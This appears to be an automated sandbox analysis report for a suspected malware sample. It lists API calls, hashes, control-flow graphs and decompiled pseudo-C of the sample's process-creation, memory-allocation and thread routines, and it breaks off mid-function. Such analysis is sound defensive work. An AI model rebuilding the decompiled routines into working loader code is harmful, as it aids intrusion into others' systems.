                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2167126740-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: e2653bd4fa08fcb17af159eeca8fd9fe91e6ba67d1b37ad8e9bf9bfd481e750c
                                                                                                                                                                                                                                                                                                      • Instruction ID: f8dc1257a85ed4fed594ba9062a336bbf2f30cddf0846fc0802003d31314a8bf
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e2653bd4fa08fcb17af159eeca8fd9fe91e6ba67d1b37ad8e9bf9bfd481e750c
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B8F0BD75A04209ABCB04DF99D881A9EBBB4EF48350F148269B91497390D670EE54CB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: 94fbc72a26300b8d795b3db5d65161d386cb7939f32b2b42aa24ece228b27dee
                                                                                                                                                                                                                                                                                                      • Instruction ID: 5914c9d7c4f731e621e956ba053e4a867a338069c37fe047ad286c1782649a89
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 94fbc72a26300b8d795b3db5d65161d386cb7939f32b2b42aa24ece228b27dee
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5BE012762246009FC30CDB44D5A4E25B3AABBCD710F09859CF20A8B271CB34AC10CB24
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 178 4095c0-4095d1 179 4095e3-4095e6 178->179 180 4095d3-4095e1 call 406970 178->180 182 4096ab-4096ae 179->182 180->179 184 4095eb-409657 call 4016e0 * 3 CreateProcessInternalW 180->184 193 4096a8 184->193 194 409659-40965d 184->194 193->182 195 409669-409672 call 4016e0 194->195 196 40965f-409667 194->196 197 409676-40967a 195->197 196->197 200 409686-40968f call 4016e0 197->200 201 40967c-409684 197->201 202 409693-409697 200->202 201->202 205 4096a1 202->205 206 409699-40969f 202->206 205->193 206->205
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 43%
                                                                                                                                                                                                                                                                                                      			E004095C0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a20, intOrPtr* _a24, intOrPtr* _a28) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				short _v44;
                                                                                                                                                                                                                                                                                                      				short _v48;
                                                                                                                                                                                                                                                                                                      				char _v92;
                                                                                                                                                                                                                                                                                                      				void* _t33;
                                                                                                                                                                                                                                                                                                      				void* _t42;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      					L2:
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t33 = E00406970(_a4); // executed
                                                                                                                                                                                                                                                                                                      				if(_t33 != 0) {
                                                                                                                                                                                                                                                                                                      					_push(0x44);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v92);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					_push(0x10);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v24);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					_v92 = 0x44;
                                                                                                                                                                                                                                                                                                      					_v48 = 1;
                                                                                                                                                                                                                                                                                                      					_v44 = 1;
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v24);
                                                                                                                                                                                                                                                                                                      					_push( &_v92);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(_a12);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(_a8);
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_t42 =  *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x1b8))))(); // executed
                                                                                                                                                                                                                                                                                                      					if(_t42 != 0) {
                                                                                                                                                                                                                                                                                                      						if(_a20 == 0) {
                                                                                                                                                                                                                                                                                                      							_push(_a20);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E004016E0()))))();
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							 *_a20 = _v24;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						if(_a24 == 0) {
                                                                                                                                                                                                                                                                                                      							_push(_a24);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E004016E0()))))();
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							 *_a24 = _v20;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						if(_a28 != 0) {
                                                                                                                                                                                                                                                                                                      							 *_a28 = _v16;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v8 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				goto L2;
                                                                                                                                                                                                                                                                                                      			}












                                                                                                                                                                                                                                                                                                      0x004095c6
                                                                                                                                                                                                                                                                                                      0x004095d1
                                                                                                                                                                                                                                                                                                      0x004095e3
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x004095e3
                                                                                                                                                                                                                                                                                                      0x004095d7
                                                                                                                                                                                                                                                                                                      0x004095e1
                                                                                                                                                                                                                                                                                                      0x004095eb
                                                                                                                                                                                                                                                                                                      0x004095ed
                                                                                                                                                                                                                                                                                                      0x004095f2
                                                                                                                                                                                                                                                                                                      0x004095fb
                                                                                                                                                                                                                                                                                                      0x004095fd
                                                                                                                                                                                                                                                                                                      0x004095ff
                                                                                                                                                                                                                                                                                                      0x00409604
                                                                                                                                                                                                                                                                                                      0x0040960d
                                                                                                                                                                                                                                                                                                      0x0040960f
                                                                                                                                                                                                                                                                                                      0x00409616
                                                                                                                                                                                                                                                                                                      0x00409622
                                                                                                                                                                                                                                                                                                      0x00409626
                                                                                                                                                                                                                                                                                                      0x0040962b
                                                                                                                                                                                                                                                                                                      0x0040962f
                                                                                                                                                                                                                                                                                                      0x00409630
                                                                                                                                                                                                                                                                                                      0x00409632
                                                                                                                                                                                                                                                                                                      0x00409637
                                                                                                                                                                                                                                                                                                      0x00409638
                                                                                                                                                                                                                                                                                                      0x0040963a
                                                                                                                                                                                                                                                                                                      0x0040963c
                                                                                                                                                                                                                                                                                                      0x00409641
                                                                                                                                                                                                                                                                                                      0x00409645
                                                                                                                                                                                                                                                                                                      0x00409646
                                                                                                                                                                                                                                                                                                      0x00409653
                                                                                                                                                                                                                                                                                                      0x00409657
                                                                                                                                                                                                                                                                                                      0x0040965d
                                                                                                                                                                                                                                                                                                      0x0040966c
                                                                                                                                                                                                                                                                                                      0x00409674
                                                                                                                                                                                                                                                                                                      0x0040965f
                                                                                                                                                                                                                                                                                                      0x00409665
                                                                                                                                                                                                                                                                                                      0x00409665
                                                                                                                                                                                                                                                                                                      0x0040967a
                                                                                                                                                                                                                                                                                                      0x00409689
                                                                                                                                                                                                                                                                                                      0x00409691
                                                                                                                                                                                                                                                                                                      0x0040967c
                                                                                                                                                                                                                                                                                                      0x00409682
                                                                                                                                                                                                                                                                                                      0x00409682
                                                                                                                                                                                                                                                                                                      0x00409697
                                                                                                                                                                                                                                                                                                      0x0040969f
                                                                                                                                                                                                                                                                                                      0x0040969f
                                                                                                                                                                                                                                                                                                      0x004096a1
                                                                                                                                                                                                                                                                                                      0x004096a1
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x004096a8
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • CreateProcessInternalW.KERNELBASE(00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000044,?,00000000), ref: 00409653
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateInternalProcess
                                                                                                                                                                                                                                                                                                      • String ID: D
                                                                                                                                                                                                                                                                                                      • API String ID: 2186235152-2746444292
                                                                                                                                                                                                                                                                                                      • Opcode ID: 6cd0f7ba4c71f33ec786ebedfac755c421c8986f1ca3c8454e443c2e29d0ba8a
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0ae9c7cbb1dc3306532b0d675d897485ea967e8d9809ca8bfdf2b6e593fb538f
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6cd0f7ba4c71f33ec786ebedfac755c421c8986f1ca3c8454e443c2e29d0ba8a
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8C312BB1600209AFDB04DFA4C885FEE77B4AF44744F104529F9046B2D1D7BAAD45CB95
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 875 3a13a54-3a13a89 call 3a13714 CreateThread
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE(?,?,?,?,?,?), ref: 03A13A7D
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateThread
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2422867632-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: a04411824406bebcda2cdc8e1f5489fc9ee9d14fca1d0bfc8493bf9ef90f4689
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0f1367f3dac1eb5cf0f074176f90379b14232989c43a1791cf5e93d94015655f
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a04411824406bebcda2cdc8e1f5489fc9ee9d14fca1d0bfc8493bf9ef90f4689
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0EE04E7A90020DAFCF01DF94D94589DBFB5EB08200F008095FE1466220E6329A61EF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 878 3a13bc4-3a13bf3 call 3a13714 VirtualProtect
                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualProtect.KERNELBASE(?,?,?,?), ref: 03A13BE7
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: ProtectVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 544645111-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 802e8bcea279d787bc39c3893ded85e1c047648dd60c64ef52e019ebcc5d0c4d
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0a3a1d60532f3cfede0e4ee125bdcc311d2f37081fccda8d6ca3fca4ac260de4
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 802e8bcea279d787bc39c3893ded85e1c047648dd60c64ef52e019ebcc5d0c4d
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0BE0FE7A90020CAFCF01DF94D94599DBBB5EB08210F10819AED55A7351E6719A60EF51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualAlloc.KERNELBASE(?,?,?,?), ref: 03A13BA7
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction ID: bbea98e4422d2f076d3bdc75acf73391c7e3250055d8e4398c05b59fd4ff96e6
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69E07E7A90020CAFCF01DF94D94589DBBB5EB08210F00809AED14A7350E6319A20EF51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualAlloc.KERNELBASE(?,?,?,?), ref: 03A10983
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235659201.0000000003A10000.00000040.00000040.sdmp, Offset: 03A10000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a10000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction ID: 7a1f010240acffb4fdce8462f7436ea01054bf5260c819cac7f4fd9acaeb5c5e
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d23f5b4491c7af0992820b7baa5db14a80b82636fbc31ebfbd540f84cb94a2fc
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B7E07E7990020CAFCF01DF94D94589DBBB5EB08210F00809AFD14A6310D6719A60EB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualFree.KERNELBASE(?,?,?), ref: 03A13B74
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction ID: 9830ec54ead48dd6f0df26895f384ae83af60a2e110e8ba625a44e73224879a3
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 32E02679D0020CFFCF05DF94D94599DBBB5EF18210F10819AED14A7350E6319A60DF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • VirtualFree.KERNELBASE(?,?,?), ref: 03A10950
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235659201.0000000003A10000.00000040.00000040.sdmp, Offset: 03A10000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a10000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction ID: 509d86e3b6dced2420a3bb456b827545526b293d5f73bcb9d2974fb744867ff5
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f66c99753e64f02ff2b462dafc4f8f36d502f87b07fb646d32efc9fa3abc917
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E2E00279D0020CEF8B05DF94D94599DBBB5EB58210F10819AED1497310D6719A60DB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • GlobalAlloc.KERNELBASE(?,?), ref: 03A13AB1
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocGlobal
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3761449716-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction ID: 045cecc5a6e30962aed46195d0b1e1919644247a3dd81305dfed4199048cf2c7
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 85E02D79D0020CAF8F40EFA8D54589CFBB5EB08210F1081AAED58A7350E631AA64DF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • GlobalAlloc.KERNELBASE(?,?), ref: 03A108ED
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235659201.0000000003A10000.00000040.00000040.sdmp, Offset: 03A10000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a10000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocGlobal
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3761449716-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction ID: e419ed06c0f646ab138b42037d4e1edffc62894166e0336fd5d3083a0c435ed1
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda64a455f148b8a09e352fe24c13dc281b9b593ee549f94b6634f8ab68eaba8
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8FE02D79D0020CAF8B40EFA8D54589DFBB5EB48210F1081AAEC58A7310E671AA64DB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.235674465.0000000003A13000.00000040.00000040.sdmp, Offset: 03A13000, based on PE: false
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3a13000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 372bc6619268a878d4b3fc93414ed148e037412978fb5bf47e3480a05a774b25
                                                                                                                                                                                                                                                                                                      • Instruction ID: 9b4c2b621322c8a45da0fb6a720a6bc4de2bb62a9ed6bb813785f565b6126d9a
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 372bc6619268a878d4b3fc93414ed148e037412978fb5bf47e3480a05a774b25
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FAD0C979D0020CEF8F04EFA8D94589CFFB4EF44211F1081AAED0467350EA316E64DBA1
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E0040DED0(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, void* _a16) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				short _v14;
                                                                                                                                                                                                                                                                                                      				short _v16;
                                                                                                                                                                                                                                                                                                      				short _v18;
                                                                                                                                                                                                                                                                                                      				short _v20;
                                                                                                                                                                                                                                                                                                      				short _v22;
                                                                                                                                                                                                                                                                                                      				short _v24;
                                                                                                                                                                                                                                                                                                      				short _v26;
                                                                                                                                                                                                                                                                                                      				short _v28;
                                                                                                                                                                                                                                                                                                      				short _v30;
                                                                                                                                                                                                                                                                                                      				short _v32;
                                                                                                                                                                                                                                                                                                      				short _v34;
                                                                                                                                                                                                                                                                                                      				short _v36;
                                                                                                                                                                                                                                                                                                      				short _v38;
                                                                                                                                                                                                                                                                                                      				short _v40;
                                                                                                                                                                                                                                                                                                      				short _v42;
                                                                                                                                                                                                                                                                                                      				short _v44;
                                                                                                                                                                                                                                                                                                      				short _v46;
                                                                                                                                                                                                                                                                                                      				short _v48;
                                                                                                                                                                                                                                                                                                      				short _v50;
                                                                                                                                                                                                                                                                                                      				short _v52;
                                                                                                                                                                                                                                                                                                      				short _v54;
                                                                                                                                                                                                                                                                                                      				short _v56;
                                                                                                                                                                                                                                                                                                      				short _v58;
                                                                                                                                                                                                                                                                                                      				short _v60;
                                                                                                                                                                                                                                                                                                      				short _v62;
                                                                                                                                                                                                                                                                                                      				short _v64;
                                                                                                                                                                                                                                                                                                      				short _v66;
                                                                                                                                                                                                                                                                                                      				short _v68;
                                                                                                                                                                                                                                                                                                      				short _v70;
                                                                                                                                                                                                                                                                                                      				short _v72;
                                                                                                                                                                                                                                                                                                      				short _v74;
                                                                                                                                                                                                                                                                                                      				short _v76;
                                                                                                                                                                                                                                                                                                      				short _v78;
                                                                                                                                                                                                                                                                                                      				short _v80;
                                                                                                                                                                                                                                                                                                      				short _v82;
                                                                                                                                                                                                                                                                                                      				short _v84;
                                                                                                                                                                                                                                                                                                      				short _v86;
                                                                                                                                                                                                                                                                                                      				short _v88;
                                                                                                                                                                                                                                                                                                      				short _v90;
                                                                                                                                                                                                                                                                                                      				short _v92;
                                                                                                                                                                                                                                                                                                      				short _v94;
                                                                                                                                                                                                                                                                                                      				short _v96;
                                                                                                                                                                                                                                                                                                      				short _v98;
                                                                                                                                                                                                                                                                                                      				short _v100;
                                                                                                                                                                                                                                                                                                      				short _v102;
                                                                                                                                                                                                                                                                                                      				short _v104;
                                                                                                                                                                                                                                                                                                      				short _v108;
                                                                                                                                                                                                                                                                                                      				short _v110;
                                                                                                                                                                                                                                                                                                      				short _v112;
                                                                                                                                                                                                                                                                                                      				short _v114;
                                                                                                                                                                                                                                                                                                      				short _v116;
                                                                                                                                                                                                                                                                                                      				short _v118;
                                                                                                                                                                                                                                                                                                      				short _v120;
                                                                                                                                                                                                                                                                                                      				short _v122;
                                                                                                                                                                                                                                                                                                      				short _v124;
                                                                                                                                                                                                                                                                                                      				short _v128;
                                                                                                                                                                                                                                                                                                      				short _v130;
                                                                                                                                                                                                                                                                                                      				short _v132;
                                                                                                                                                                                                                                                                                                      				short _v134;
                                                                                                                                                                                                                                                                                                      				short _v136;
                                                                                                                                                                                                                                                                                                      				short _v138;
                                                                                                                                                                                                                                                                                                      				short _v140;
                                                                                                                                                                                                                                                                                                      				short _v142;
                                                                                                                                                                                                                                                                                                      				short _v144;
                                                                                                                                                                                                                                                                                                      				short _v146;
                                                                                                                                                                                                                                                                                                      				short _v148;
                                                                                                                                                                                                                                                                                                      				short _v150;
                                                                                                                                                                                                                                                                                                      				short _v152;
                                                                                                                                                                                                                                                                                                      				short _v154;
                                                                                                                                                                                                                                                                                                      				short _v156;
                                                                                                                                                                                                                                                                                                      				short _v158;
                                                                                                                                                                                                                                                                                                      				short _v160;
                                                                                                                                                                                                                                                                                                      				short _v162;
                                                                                                                                                                                                                                                                                                      				short _v164;
